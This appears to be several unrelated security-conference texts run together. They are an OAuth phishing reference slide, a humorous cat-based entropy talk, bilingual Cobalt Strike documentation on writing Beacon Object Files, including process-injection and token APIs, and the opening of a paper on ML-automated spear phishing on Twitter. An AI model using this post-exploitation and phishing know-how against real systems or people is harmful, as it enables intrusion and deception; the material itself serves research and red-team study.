https://duo.com/blog/beyond-the-vulnerabilities-of-the-application-specific-password-exploiting-google-chrome-s-oauth2-tokens Questions Open Source Tools ● Repo: https://github.com/netskopeoss/phish_oauth ● License: BSD-3-Clause Contact ● [email protected] ● @jenkohwong Thank you 1.0 Evolving Phishing Attacks 1.1 A Big Catch: Cloud Phishing from Google App Engine and Azure App Service: https://www.netskope.com/blog/a-big-catch-cloud-phishing-from-google-app-engine-and-azure-app-service 1.2 Microsoft Seizes Malicious Domains Used in Mass Office 365 Attacks: https://threatpost.com/microsoft-seizes-domains-office-365-phishing-scam/157261/ 1.3 Phishing Attack Hijacks Office 365 Accounts Using OAuth Apps: https://www.bleepingcomputer.com/news/security/phishing-attack-hijacks-office-365-accounts-using-oauth-apps/ 1.4 Office 365 Phishing Attack Leverages Real-Time Active Directory Validation: https://threatpost.com/office-365-phishing-attack-leverages-real-time-active-directory-validation/159188/ 1.5 Demonstration - Illicit Consent Grant Attack in Azure AD: https://www.nixu.com/blog/demonstration-illicit-consent-grant-attack-azure-ad-office-365 https://securecloud.blog/2018/10/02/demonstration-illicit-consent-grant-attack-in-azure-ad-office-365/ 1.6 Detection and Mitigation of Illicit Consent Grant Attacks in Azure AD: https://www.cloud-architekt.net/detection-and-mitigation-consent-grant-attacks-azuread/ 1.7 HelSec Azure AD write-up: Phishing on Steroids with Azure AD Consent Extractor: https://securecloud.blog/2019/12/17/helsec-azure-ad-write-up-phishing-on-steroids-with-azure-ad-consent-extractor/ 1.8 Pawn Storm Abuses OAuth In Social Engineering Attack: https://www.trendmicro.com/en_us/research/17/d/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks.html 2.0 OAuth Device Code Flow 2.1 OAuth 2.0 RFC: https://tools.ietf.org/html/rfc6749 2.2 OAuth 2.0 Device Authorization Grant RFC: https://datatracker.ietf.org/doc/html/rfc8628 2.3 OAuth 2.0 for TV and Limited-Input Device Applications: https://developers.google.com/identity/protocols/oauth2/limited-input-device 2.4 OAuth 2.0 Scopes for Google APIs: https://developers.google.com/identity/protocols/oauth2/scopes 2.5 Introducing a new phishing technique for compromising Office 365 accounts: https://o365blog.com/post/phishing/#oauth-consent 2.6. Office Device Code Phishing: https://gist.github.com/Mr-Un1k0d3r/afef5a80cb72dfeaa78d14465fb0d333 3.0 Additional OAuth Research Areas 3.1 Poor OAuth implementation leaves millions at risk of stolen data: https://searchsecurity.techtarget.com/news/450402565/Poor-OAuth-implementation-leaves-millions-at-risk-of-stolen-data 3.2 How did a full access OAuth token get issued to the Pokémon GO app?: https://searchsecurity.techtarget.com/answer/How-did-a-full-access-OAuth-token-get-issued-to-the-Pokemon-GO-app References 1 2 3 7 5 6 4 8 9
pdf
Feline Entropy Project Defcon XV Nick Kryptr [email protected] What this is NOT: A discussion of political reality: -Any eg. Trusted Computing Initiative will necessarily involve key escrow or similar sophomoric attempt to subvert user security and privacy. -That a large telco recently admitted to transporting wheelbarrowloads of data snarfed with span ports onto magnetic tape directly into the waiting arms of a well-known TLA says more about user apathy than cryptographic insecurity. A criticism of ex machina randomness: -With the publication of RFC4086/BCP106, randomness has become a standard. -Little attention has been paid to the black art of entropy of late, as ever-greater CPU clock speed has brought us measurement of hardware noise with seemingly quantum granularity. -Given the audience's particular penchant for system security (or lack thereof), it is incumbent upon the hacker community to punch holes in the basic premise, namely that hardware under the control of a potentially compromised operating system can be trusted. -"Law RNG-2: Anyone who uses software to produce random numbers is in a “state of sin”. [John von Neumann]" (Wagner, pp. 99) What this is NOT: A reference Design: -Nothing presented here should prompt anyone to try this at home, or to trust entropy bits thusly generated, as being cryptographically secure. -(Patent pending.) -((Hey, if that laser pointer guy can get away with it...)) What this is NOT: What this IS: -An examination of the considerations and challenges inherent in solving the problem of reliable cryptographic entropy -extra machina -on a relatively low budget -using COTS materials Why? -extant methods use hardware intrinsic to the system, in theory, all systems are pwned, therefore these entropy methods suck. -extant methods are insufficiently complicated. -no amount of legislation a la Patriot Act, or rubber-hose cryptanalysis, can persuade a cat to confess. -cat /dev/cat - how postmodern. Entropy: Traditionally accepted definitions: -Shannon's Equation (Shannon) -Comparison of binary data to statistically typical binary data, or testing to see if data compresses ("Maurer's Test") Project Goals: 1) Produce data to be subjected to tests of randomness. 2) Move entropy study from the theoretical to the practical. 3) Embrace the Heisenberg Effect. 4) Explore attack scenarios using a real-world example not implemented in software. Methodology: Equipment: 1) Cat 2) RFID tag - model EM4102 - using a Read-Only chip during Phase 1 solves some of the issues outlined in : www.rfidvirus.org 3) RFID readers - Trossen Robotics Phidget USB reader (www.trossenrobotics.com) 4) Data collection equipment - Assembly A (see appendix A) ITEM #1 ITEM #2 "Random Packette - Feline experimental subject" ITEM #3 ITEM #4 [not shown] Methodology: Process: -Item #1 (Cat) to be implanted with Item #2 (EM4102). This may require replacement of existing Avid chip, which is proprietary, and for which readers are prohibitively expensive, given that neither of these chips supports anti-collision. Special care must be taken if this is the case, since EM4102 is not supported by local shelters and Veterinarian offices, to prevent the escape of Item #1. -Item #3 works with Item #4 in several strategic locations around Item #1's abode and surrounding environs. In the initial test phase, Item #4 is wireless, using an 802.11 interface and USB reading from the Phidget to transmit RFID tag data onto the 802.11 network, with a timestamp. -Data so transmitted will be intercepted from the network using tcpdump, snort, or similar mechanism, and used to populate a relational database. Methodology: Process: -Item #4 are distributed at areas of frequent transit for Item #1, as opposed to areas of frequent rest. In Phase 1, these areas are determined using experimentation. For example, feeding/watering areas, litterbox, cat tree, would normally be characterized as areas of relatively static activity, but experiment may determine suitability. -Initial observation of entropy will use time interval 't' between observances of 'Intercepted Packet' or Tagged Cat Presentations. This is similar in principle to the current methodology used in numerous programs with user input from keyboards. [Static Activity in cat tree.] Methodology: [Packets move in tubes, not dumptrucks.] IKEA toy department - item "SPEJA" provides an enticing environment for cats. Taking advantage of the long RFID reader range, readers can be mounted at either end of each tube, with tubes running between typical cat destinations. Methodology: Considerations: Security -802.11 - 'nuff said. Obviously the project must balance the use of this technology with the issues inherent in clock variances among several distinct electronic assemblies with autonomous data storage, and the inherent cost (and potential Tempest vulnerability) of cabling the distinct assemblies together using 802.3. - In each of the Ethernet cases, the obvious advantage in clock synchronization is the use of NTP, but this itself is potentially a liability, as special care must be taken to secure the network against the introduction of spurious NTP messages. Also, the use of crypto on the wire (or lack of wire) will necessarily introduce latency, although this may or may not prove significant. Methodology: Considerations: Security (continued) -Read-only RFID chips, such as the EM4102, are subject to spoofing or replay attacks. -Read-Write RFID chips are subject to additional types of attack: www.rfidvirus.org -RFID - range can be an issue. Proximity limits mean designs must incorporate architectural features designed to assure proper distance and orientation of tag with reader. Methodology: Considerations: Security (continued) -Potential vectors of observation: --Frequency analysis against vulnerable points - food dish, water bowl, litter box --Is the Veterinarian a confederate of the Observer? --Is it possible for the Observer to introduce non-random data via such means as releasing birds near a window? --Do Felines engage in stereotopy? (Yes. See Appendix for references) Methodology: Considerations: Security (continued) -Potential factors influencing randomness: --Catnip --Heisenberg Effect - does the cat know she's being observed? --Heisenberg Effect - given the difficulty of conducting double-blind research in this area, will the people involved affect the outcome by their own behaviors? Does this affect the randomness of the data? Further experimentation is necessary. --Play-time - cats will often invent hallucinatory prey creatures ("invisible energy monsters") in the absence of actual play with people or other cats. See also - stereotopy. --Increasingly sedentary behavior with age, diet, or other factors Methodology: Considerations: Security (continued) -Potential factors influencing randomness: [Sloth is a factor.] Questions? Full Text and ongoing notes at: http://fep.classful.net 5A57 7E68 A6E6 5E2B 4E30 3B50 B000 D6BA D2AC C0F7 Find the words. Follow the Clues. Save Vaclav. https://www.clued.net/wordsearch "The Daimyo dead, the Samurai gave up the castle quietly, dispersed across the realm, and awaited the proper moment in which to exact revenge and restore their lord's honor. Some became mercenaries, some merchants. A few became drunkards and gamblers. Two sold their children into slavery. All became RONIN." -Vaclav. 15 March 2007 - 03:31 UCT Defcon 0xF - 2007 - Las Vegas Riviera. Vaclav is on the run. "Dijkstra's algorithm, named after its discoverer, Dutch computer scientist Edsger Dijkstra, is a greedy algorithm that solves the single-source shortest path problem for a directed graph with non negative edge weights." -Vaclav. 15 July 2007 - 02:45 UCT Is this a game or is it real? WHAT'S THE DIFFERENCE? --Wargames, 1983 -Vaclav. 27 July 2007 - 14:35 UCT D L B M Q T A T J P P X R O N I N Z A W I N O I S E Q M X E E L V W H N V E V X P U Z Z L E E C C U B N N B F O L A H J G E Z A A L U K H O U A X G S X J Y B G J H N V D R H H C M G B S G R Y V C K L I B E I O S N P O X E O N D A R A A A J A C R C C C V A Y C K P G X X F A H S P R O T O C O L F M R J A A B S X H P K T E N D E N C Y E P E V I D E N C E A Y K M P W V O T M I D Y A J Y I D W B R F Z A F L C C V W R N Y J N E U A I O S V L H U H S P I A P C A T L T C I C B C O Y H G P R J C O N R E R N P W H R R U P A K E B V E E P A I Q U G O X L T L J E E N K A A R E K N W A P L R U B B S L T V L I D D U N C A N A T J R N E L O K S C I T K M K D Z L A D Z E R X U L F S V S L U G K A E D G Y I N S H G I I K F T S G W O M G Q L H O P O T O K K S E O B K G E L O E N X K N W K D I A L T O N E H G N N R I S C J C R A N L A O J A B E O E C Q L J S G P O Y I O A W N Z K W Z T I E I S P K X L M T D F E M X Y T C H X C U G I G F U M B K A D X N O A L V U S K E X R C W M H R I B S E L R Q T L O I A L G P E N Y L C E C A H I D G P R G A O Q T X S O A I E D W T P E L N O O O P A O Y N L P W L E I X B S M S M F T D E N P A U D O R I D R J K N M A E Z R M C L R O Y W H S F B T O A Z N S F I N V A R F O I L K F E Z E U N R Q R N C D T Z M D R G A S K T F U E Z H V U E K P Z Y S R E T B A M Q E T J F P P X Z Y A W I K Q E T E G X C M E U V S K P W B R O P Y T C O D G T H V S C L X F O R N I E E S S C I N Y U S G O L B E W N B E R B A A P A N N L F I H B A K N B O I R F S L A J Z I L U H A U J R A H M U E S L P Z G U A C X N L K G O X J R B D S P E F N C T G J E H T N O V E L N D H W H B N M R U Y V U P O H F I K C E K I R K S L W P L B E O T X S N D T C A S A E R P E N A H A C F N O R D V Y Y C K X X F B A B X K Y O B E P M R D Y X E N Y N I D Z F L C K A D A F I P C V A U L T X T V W J Partial List of References: IKEA - http://www.ikea.com/us/en/catalog/products/80078877 Maurer, Ueli - "A Universal Statistical Test for Random Bit Generators." Lecture Notes In Computer Science; Vol. 537 - Proceedings of the 10th Annual International Cryptology Conference on Advances in Cryptology - ISBN:3-540-54508-5 Schneier, B: Applied Cryptography, Second edition, page 234. John Wiley and Sons. Shannon, Claude E. A mathematical theory of communication. Bell System Technical Journal, 27:379–423 and 623–656, July and October 1948. Wagner, Neal R. The Laws of Cryptography with Java Code. 2003.
pdf
Beacon Object Files A Beacon Object File (BOF) is a compiled C program, written to a convention that allows it to execute within a Beacon process and use internal Beacon APIs. BOFs are a way to rapidly extend the Beacon agent with new post- exploitation features. 信标对象文件(BOF)是一个已编译的 C 程序,按照约定编写,使它可以在信 标进程中执行并使用内部信标 API。 BOF 是一种利用新的后开发功能快速扩 展 Beacon 代理的方法。 What are the advantages of BOFs? One of the key roles of an command&control platform is to provide ways to use external post-exploitation functionality. Cobalt Strike already has tools to use PowerShell, .NET, and Reflective DLLs. These tools rely on an OPSEC expensive fork&run pattern that involves a process create and injection for each post-exploitation action. BOFs have a lighter footprint. They run inside of a Beacon process and are cleaned up after the capability is done. 命令与控制平台的关键作用之一是提供使用外部开发后功能的方法。 Cobalt Strike 已经具有使用 PowerShell,.NET 和 Reflective DLL 的工具。 这些工具 依赖于 OPSEC 昂贵的分叉运行模式,该模式涉及针对每个开采后行动的过程 创建和注入。 转炉的占地面积较小。 它们在 Beacon 进程内部运行,并在功 能完成后清除。 BOFs are also very small. A UAC bypass privilege escalation Reflective DLL implementation may weigh in at 100KB+. The same exploit, built as a BOF, is <3KB. This can make a big difference when using bandwidth constrained channels, such as DNS. BOF 也很小。 一个 UAC 绕过特权升级 Reflective DLL 实现的大小可能超过 100KB。 建立为 BOF 的相同漏洞利用程序不到 3KB。 当使用带宽受限的通 道(例如 DNS)时,这可能会有很大的不同。 Finally, BOFs are easy to develop. You just need a Win32 C compiler and a command line. Both MinGW and Microsoft's C compiler can produce BOF files. You don't have to fuss with project settings that are sometimes more effort than the code itself. 最后,转炉很容易开发。 您只需要一个 Win32 C 编译器和一个命令行。 MinGW 和 Microsoft 的 C 编译器都可以生成 BOF 文件。 您不必大惊小怪的项 目设置有时比代码本身还要费劲。 How do BOFs work? To Beacon, a BOF is just a block of position-independent code that receives pointers to some Beacon internal APIs. 对于 Beacon 而言,BOF 只是位置无关的代码块,它接收指向某些 Beacon 内 部 API 的指针。 To Cobalt Strike, a BOF is an object file produced by a C compiler. Cobalt Strike parses this file and acts as a linker and loader for its contents. This approach allows you to write position-independent code, for use in Beacon, without tedious gymnastics to manage strings and dynamically call Win32 APIs. 对于 Cobalt Strike,BOF 是由 C 编译器生成的目标文件。 Cobalt Strike 解析 此文件,并充当其内容的链接器和加载器。 这种方法使您无需编写繁琐的体操 来管理字符串和动态调用 Win32 API,就可以编写位置无关的代码以在信标中 使用。 What are the disadvantages of BOFs? BOFs are single-file C programs that call Win32 APIs and limited Beacon APIs. Don't expect to link in other functionality or build large projects with this mechanism. BOF 是调用 Win32 API 和受限 Beacon API 的单文件 C 程序。 不要期望通过 这种机制链接其他功能或构建大型项目。 Cobalt Strike does not link your BOF to a libc. This mean you're limited to compiler intrinsics (e.g., __stosb on Visual Studio for memset), the exposed Beacon internal APIs, Win32 APIs, and the functions that you write. Expect that a lot of common functions (e.g., strlen, stcmp, etc.) are not available to you via a BOF. Cobalt Strike 不会将您的 BOF 链接到 libc。 这意味着您仅限于编译器内部函 数(例如,Visual Studio 上的__stosb for memset),公开的 Beacon 内部 API,Win32 API 和编写的函数。 期望通过 BOF 无法使用许多常用功能(例 如 strlen,stcmp 等)。 BOFs execute inside of your Beacon agent. If a BOF crashes, you or a friend you value will lose an access. Write your BOFs carefully. BOF 在您的信标代理内部执行。 如果 BOF 崩溃,您或您有价值的朋友将失去 访问权限。 仔细编写您的 BOF。 Cobalt Strike expects that your BOFs are single-threaded programs that run for a short period of time. BOFs will block other Beacon tasks and functionality from executing. There is no BOF pattern for asynchronous or long-running tasks. If you want to build a long-running capability, consider a Reflective DLL that runs inside of a sacrificial process. Cobalt Strike 期望您的 BOF 是运行时间较短的单线程程序。 BOF 将阻止其他 Beacon 任务和功能执行。 没有用于异步或长时间运行任务的 BOF 模式。 如 果要构建长期运行的功能,请考虑在牺牲性进程内部运行的 Reflective DLL。 How do I develop a BOF? Easy. Open up a text editor and start writing a C program. Here's a Hello World BOF: 简单。 打开文本编辑器,然后开始编写 C 程序。 这是 Hello World BOF: #include <windows.h> #include "beacon.h" void go(char * args, int alen) { BeaconPrintf(CALLBACK_OUTPUT, "Hello World: %s", args); } Download beacon.h (you'll need it): 下载 beacon.h(您将需要它): https://www.cobaltstrike.com/downloads/beacon.h To compile this with Visual Studio: 要使用 Visual Studio 进行编译,请执行以下操作: cl.exe&/c&/GS-&hello.c&/Fohello.o& To compile this with x86 MinGW: 要使用 x86 MinGW 进行编译: i686-w64-mingw32-gcc&-c&hello.c&-o&hello.o& To compile this with x64 MinGW: 要使用 x64 MinGW 进行编译: x86_64-w64-mingw32-gcc&-c&hello.c&-o&hello.o& The above commands will produce a hello.o file. Use inline-execute in Beacon to run the BOF. 上面的命令将产生一个 hello.o 文件。 在信标中使用 inline-execute 运行 BOF。 beacon>&inline-execute&/path/to/hello.o&these&are&arguments beacon.h contains definitions for several internal Beacon APIs. The function go is similar to main in any other C program. It's the function that's called by inline-execute and arguments are passed to it. BeaconOutput is an internal Beacon API to send output to the operator. Not much to it. beacon.h 包含几个内部 Beacon API 的定义。 go 函数类似于其他任何 C 程序 中的 main 函数。 内联执行调用此函数,并将参数传递给该函数。 BeaconOutput 是一个内部 Beacon API,用于将输出发送给操作员。 没什 么。 Dynamic Function Resolution GetProcAddress, LoadLibraryA, GetModuleHandle, and FreeLibrary are available within BOF files. You have the option to use these to resolve Win32 APIs you wish to call. Another option is to use Dynamic Function Resolution (DFR). 在 BOF 文件中可以使用 GetProcAddress,LoadLibraryA,GetModuleHandle 和 FreeLibrary。 您可以选择使用它们来解析您要调用的 Win32 API。 另一种 选择是使用动态功能解析(DFR)。 Dynamic Function Resolution is a convention to declare and call Win32 APIs as LIBRARY$Function. This convention provides Beacon the information it needs to explicitly resolve the specific function and make it available to your BOF file before it runs. When this process fails, Cobalt Strike will refuse to execute the BOF and tell you which function it couldn't resolve. 动态函数解析是将 Win32 API 声明和调用为 LIBRARY $ Function 的约定。 此 约定为 Beacon 提供了显式解析特定功能所需的信息,并使其在运行前可用于 您的 BOF 文件。 当此过程失败时,Cobalt Strike 将拒绝执行 BOF,并告诉您 无法解决的功能。 Here's an example BOF that uses DFR and looks up the current domain: 这是使用 DFR 并查找当前域的 BOF 示例: #include <windows.h> #include <stdio.h> #include <dsgetdc.h> #include "beacon.h" DECLSPEC_IMPORT DWORD WINAPI NETAPI32$DsGetDcNameA(LPVOID, LPVOID, LPVOID, LPVOID, ULONG, LPVOID); DECLSPEC_IMPORT DWORD WINAPI NETAPI32$NetApiBufferFree(LPVOID); void go(char * args, int alen) { DWORD dwRet; PDOMAIN_CONTROLLER_INFO pdcInfo; dwRet = NETAPI32$DsGetDcNameA(NULL, NULL, NULL, NULL, 0, &pdcInfo); if (ERROR_SUCCESS == dwRet) { BeaconPrintf(CALLBACK_OUTPUT, "%s", pdcInfo->DomainName); } NETAPI32$NetApiBufferFree(pdcInfo); } The above code makes DFR calls to DsGetDcNameA and NetApiBufferFree from NETAPI32. When you declare function prototypes for Dynamic Function Resolution, pay close attention to the decorators attached to the function declaration. Keywords, such as WINAPI and DECLSPEC_IMPORT are important. These decorations provide the compiler with the needed hints to pass arguments and generate the right call instruction. 上面的代码从 NETAPI32 对 DsGetDcNameA 和 NetApiBufferFree 进行 DFR 调用。 当声明动态函数解析的函数原型时,请密切注意函数声明中附加的修饰 符。 诸如 WINAPI 和 DECLSPEC_IMPORT 之类的关键字很重要。 这些修饰 为编译器提供了必要的提示,以传递参数并生成正确的调用指令。 Aggressor Script and BOFs You'll likely want to use Aggressor Script to run your finalized BOF implementations within Cobalt Strike. A BOF is a good place to implement a lateral movement technique, an escalation of privilege tool, or a new reconaissance capability. 您可能需要使用 Aggressor Script 在 Cobalt Strike 中运行最终的 BOF 实现。 BOF 是实施横向移动技术,特权升级工具或新的侦察能力的好地方。 The &beacon_inline_execute function is Aggressor Script's entry point to run a BOF file. Here is a script to run a simple Hello World program: &beacon_inline_execute 函数是 Aggressor Script 的运行 BOF 文件的入口点。 这是运行简单的 Hello World 程序的脚本: alias hello { local('$barch $handle $data $args'); # figure out the arch of this session $barch = barch($1); # read in the right BOF file $handle = openf(script_resource("hello. $+ $barch $+ .o")); $data = readb($handle, -1); closef($handle); # pack our arguments $args = bof_pack($1, "zi", "Hello World", 1234); # announce what we're doing btask($1, "Running Hello BOF"); # execute it. beacon_inline_execute($1, $data, "demo", $args); } The script first determines the architecture of the session. An x86 BOF will only run in an x86 Beacon session. Conversely, an x64 BOF will only run in an x64 Beacon session. This script then reads target BOF into an Aggressor Script variable. The next step is to pack our arguments. The &bof_pack function packs arguments in a way that is compatible with Beacon's internal data parser API. This script uses the customary &btask to log the action the user asked Beacon to perform. And, &beacon_inline_execute runs the BOF with its arguments. 该脚本首先确定会话的体系结构。 x86 BOF 仅在 x86 Beacon 会话中运行。 相反,x64 BOF 将仅在 x64 Beacon 会话中运行。 然后,此脚本将目标 BOF 读取到 Aggressor Script 变量中。 下一步是整理我们的论点。 &bof_pack 函 数以与 Beacon 的内部数据解析器 API 兼容的方式打包参数。 该脚本使用习惯 的&btask 记录用户要求 Beacon 执行的操作。 并且,& beacon_inline_execute 使用其参数运行 BOF。 The &beacon_inline_execute function accepts the Beacon ID as the first argument, a string containing the BOF content as a second argument, the entry point as its third argument, and the packed arguments as its fourth argument. The option to choose an entrypoint exists in case you choose to combine like-functionality into a single BOF. &beacon_inline_execute 函数将信标 ID 作为第一个参数,将包含 BOF 内容的 字符串作为第二个参数,将入口点作为第三个参数,并将打包的参数作为第四 个参数。 如果您选择将类似功能组合到单个 BOF 中,则存在选择入口点的选 项。 Here is the C program that corresponds to the above script: 这是与上述脚本相对应的 C 程序: /* * Compile with: * x86_64-w64-mingw32-gcc -c hello.c -o hello.x64.o * i686-w64-mingw32-gcc -c hello.c -o hello.x86.o */ #include <windows.h> #include <stdio.h> #include <tlhelp32.h> #include "beacon.h" void demo(char * args, int length) { datap parser; char * str_arg; int num_arg; BeaconDataParse(&parser, args, length); str_arg = BeaconDataExtract(&parser, NULL); num_arg = BeaconDataInt(&parser); BeaconPrintf(CALLBACK_OUTPUT, "Message is %s with %d arg", str_arg, num_arg); } The demo function is our entrypoint. We declare the datap structure on the stack. This is an empty and unintialized structure with state information for extracting arguments prepared with &bof_pack. BeaconDataParse initializes our parser. BeaconDataExtract extracts a length-prefixed binary blob from our arguments. Our pack function has options to pack binary blobs as zero- terminated strings encoded to the session's default character set, a zero- terminated wide-character string, or a binary blob without transformation. The BeaconDataInt extracts an integer that was packed into our arguments. BeaconPrintf is one way to format output and make it available to the operator. 演示功能是我们的切入点。 我们在堆栈上声明 datap 结构。 这是一个空的且 未初始化的结构,带有状态信息,用于提取使用&bof_pack 准备的参数。 BeaconDataParse 初始化我们的解析器。 BeaconDataExtract 从我们的参数 中提取一个以长度为前缀的二进制 blob。 我们的 pack 函数具有将二进制 blob 打包为编码为会话的默认字符集的零终止字符串,零终止宽字符字符串或不进 行转换的二进制 blob 的选项。 BeaconDataInt 提取一个打包到我们的参数中 的整数。 BeaconPrintf 是格式化输出并将其提供给操作员的一种方法。 BOF C API Data Parser API The Data Parser API extracts arguments packed with Aggressor Script's &bof_pack function. Data Parser API 提取与 Aggressor 脚本的&bof_pack 函数一起打包的参数。 char * BeaconDataExtract (datap * parser, int * size) Extract a length-prefixed binary blob. The size argument may be NULL. If an address is provided, size is populated with the number-of-bytes extracted. 提取长度为前缀的二进制 Blob。 size 参数可以为 NULL。 如果提供了地 址,那么将使用提取的字节数填充大小。 int BeaconDataInt (datap * parser) Extract a 4b integer 提取一个 4b 整数 int BeaconDataLength (datap * parser) Get the amount of data left to parse 获取剩余要解析的数据量 void BeaconDataParse (datap * parser, char * buffer, int size) Prepare a data parser to extract arguments from the specified buffer 准备数据解析器以从指定的缓冲区中提取参数 short BeaconDataShort (datap * parser) Extract a 2b integer 提取 2b 整数 Output API The Output API returns output to Cobalt Strike. Output API 将输出返回给 Cobalt Strike。 void BeaconPrintf (int type, char * fmt, ...) Format and present output to the Beacon operator 格式化并将输出呈现给 Beacon 运算符 void BeaconOutput (int type, char * data, int len) Send output to the Beacon operator 将输出发送到信标运算符 Each of these functions accepts a type argument. This type determines how Cobalt Strike will process the output and what it will present the output as. The types are: 这些函数中的每一个都接受类型参数。 此类型确定“钴击”如何处理输出以及将 输出呈现为什么形式。 类型是: CALLBACK_OUTPUT is generic output. Cobalt Strike will convert this output to UTF-16 (internally) using the target's default character set. CALLBACK_OUTPUT 是通用输出。 Cobalt Strike 将使用目标的默认字符集 将此输出转换为 UTF-16(内部)。 CALLBACK_OUTPUT_OEM is generic output. Cobalt Strike will convert this output to UTF-16 (internally) using the target's OEM character set. You probably won't need this, unless you're dealing with output from cmd.exe. CALLBACK_OUTPUT_OEM 是通用输出。 Cobalt Strike 将使用目标的 OEM 字符集将此输出(内部)转换为 UTF-16。 除非您要处理 cmd.exe 的输出,否 则可能不需要它。 CALLBACK_ERROR is a generic error message. CALLBACK_ERROR 是一般错误消息。 CALLBACK_OUTPUT_UTF8 is generic output. Cobalt Strike will convert this output to UTF-16 (internally) from UTF-8. CALLBACK_OUTPUT_UTF8 是通用输出。 Cobalt Strike 会将输出转换为 UTF-8(内部)为 UTF-16。 Format API The format API is used to build large or repeating output. 格式 API 用于构建大型或重复输出。 void BeaconFormatAlloc (formatp * obj, int maxsz) Allocate memory to format complex or large output 分配内存以格式化复杂或大型输出 void BeaconFormatAppend (formatp * obj, char * data, int len) Append data to this format object 将数据附加到此格式对象 void BeaconFormatFree (formatp * obj) Free the format object 释放格式对象 void BeaconFormatInt (formatp * obj, int val) Append a 4b integer (big endian) to this object 在此对象上附加一个 4b 整数(大端) void BeaconFormatPrintf (formatp * obj, char * fmt, ...) Append a formatted string to this object 将格式化的字符串附加到此对象 void BeaconFormatReset (formatp * obj) Resets the format object to its default state (prior to re-use) 将格式对象重置为其默认状态(重用之前) char * BeaconFormatToString (formatp * obj, int * size) Extract formatted data into a single string. Populate the passed in size variable with the length of this string. These parameters are suitable for use with the BeaconOutput function. 将格式化的数据提取到单个字符串中。 使用此字符串的长度填充传入的 size 变量。 这些参数适合与 BeaconOutput 函数一起使用。 Internal APIs The following functions manipulate the token used in the current Beacon context: 以下功能可操纵当前信标上下文中使用的令牌: BOOL BeaconUseToken (HANDLE token) Apply the specified token as Beacon's current thread token. This will report the new token to the user too. Returns TRUE if successful. FALSE is not. 将指定的令牌用作信标的当前线程令牌。 这也将向用户报告新令牌。 如果 成功,则返回 TRUE。 FALSE 不是。 void BeaconRevertToken () Drop the current thread token. Use this over direct calls to RevertToSelf. This function cleans up other state information about the token. 删除当前线程令牌。 将此用于直接调用 RevertToSelf。 此函数清除有关令 牌的其他状态信息。 BOOL BeaconIsAdmIn () Returns TRUE if Beacon is in a high-integrity context 如果信标处于高完整性上下文中,则返回 TRUE The following functions provide some access to Beacon's process injection capability: 以下功能使您可以访问 Beacon 的过程注入功能: void BeaconGetSpawnTo (BOOL x86, char * buffer, int length) Populate the specified buffer with the x86 or x64 spawnto value configured for this Beacon session. 使用为此 Beacon 会话配置的 x86 或 x64 spawnto 值填充指定的缓冲区。 void BeaconInjectProcess (HANDLE hProc, int pid, char * payload, int payload_len, int payload_offset, char * arg, int arg_len) This function will inject the specified payload into an existing process. Use payload_offset to specify the offset within the payload to begin execution. The arg value is for arguments. arg may be NULL. 此功能会将指定的有效负载注入到现有进程中。 使用 payload_offset 指定 有效负载内的偏移量以开始执行。 arg 值用于参数。 arg 可以为 NULL。 void BeaconInjectTemporaryProcess (PROCESS_INFORMATION * pInfo, char * payload, int payload_len, int payload_offset, char * arg, int arg_len) This function will inject the specified payload into a temporary process that your BOF opted to launch. Use payload_offset to specify the offset within the payload to begin execution. The arg value is for arguments. arg may be NULL. 此功能会将指定的有效负载注入 BOF 选择启动的临时进程中。 使用 payload_offset 指定有效负载内的偏移量以开始执行。 arg 值用于参数。 arg 可以为 NULL。 void BeaconCleanupProcess (PROCESS_INFORMATION * pInfo) This function cleans up some handles that are often forgotten about. Call this when you're done interacting with the handles for a process. You don't need to wait for the process to exit or finish. 此功能清除了一些经常被遗忘的句柄。 与流程的句柄交互完成后,请调用此 函数。 您无需等待进程退出或完成。 The following function is a utility function: 以下功能是实用程序功能: BOOL toWideChar (char * src, wchar_t * dst, int max) Convert the src string to a UTF16-LE wide-character string, using the target's default encoding. max is the size (in bytes!) of the destination buffer. 使用目标的默认编码将 src 字符串转换为 UTF16-LE 宽字符字符串。 max 是目标缓冲区的大小(以字节为单位!)。 https://youtu.be/gfYswA_Ronw
pdf
Weaponizing data science for social engineering:   Automated E2E spear phishing on Twitter  John Seymour and Philip Tully  {jseymour, ptully}@zerofox.com  Introduction and Abstract  Historically, machine learning for information security has prioritized defense: think intrusion  detection systems, malware classification and botnet traffic identification. Offense can benefit  from data just as well. Social networks, especially Twitter with its access to extensive personal  data, bot­friendly API, colloquial syntax and prevalence of shortened links, are the perfect  venues for spreading machine­generated malicious content.  We present a recurrent neural network that learns to tweet phishing posts targeting specific  users. The model is trained using spear phishing pen­testing data, and in order to make a  click­through more likely, it is dynamically seeded with topics extracted from timeline posts of  both the target and the users they retweet or follow. We augment the model with clustering to  identify high value targets based on their level of social engagement such as their number of  followers and retweets, and measure success using click­rates of IP­tracked links. Taken  together, these techniques enable the world's first automated end­to­end spear phishing  campaign generator for Twitter.  Contents  Introduction and Abstract  1  Background  Machine Learning: An Offensive Approach  High­level Description of Tool  Target Discovery  Automated Spear Phishing  Conclusion  References  2  3  3  4  4  5  6  1  Background  Historically, the security community has used Machine Learning (ML) in a defensive manner, for  example in classifying malicious binaries or finding anomalous network traffic. Even now,  startups continue to spring up advertising novel techniques for detecting inbound threats. But  much of InfoSec is dedicated to identifying critical weaknesses and vulnerabilities through  offense. While tools such as Metasploit [1] exist for automating Red­Team activities, there has  been little work toward using ML as a weapon.  Social engineering, particularly phishing, is one of the oldest yet still most effective weapons for  exploitation. Early phishing attempts took a shotgun approach: only a few targets out of millions  needed to bite in order for an attack to succeed. Spear phishing introduced specificity into this  process by narrowing the target base to fewer people, enabling attackers to focus efforts on  high value targets. It increased the likelihood of success by preemptively gathering personal  information and using it to gain the target’s trust.   Today, phishing attacks span across a variety of platforms. A prime example is social media,  which exposes this vulnerability with its ever­expanding user base, high usage statistics, and  strong incentive to disclose personal data. The challenge is how to exploit these natural  weaknesses at scale, combining the shotgun approach of phishing campaigns with the  specificity and success of targeted spear phishing.  Enter Machine Learning.  Machines have been successfully fooling humans since the first AI chatbot ELIZA in 1966 [2]. At  a high level, ML is a statistical tool: given enough data, it can detect patterns that reveal  information about unencountered samples. Natural Language Processing (NLP) is a use case of  ML where raw text is the data source from which patterns are extracted. NLP has been  successfully used for many applications, a significant application being spam detection [3].  Phishing is particularly amenable to the NLP approach because recurring patterns of text can be  utilized to identify topics the target is interested in and generate sentences the target might  respond to.  The Social­Engineer Toolkit [4] is the gold standard for automating Social Engineering attack  payloads, but users still have to gather their own data and write the “front­end” email delivery  service. If we could automatically churn through unorganized personal data and generate a  personalized phishing message, we can automate the spear phishing process completely and  operate at a much larger scale with higher success 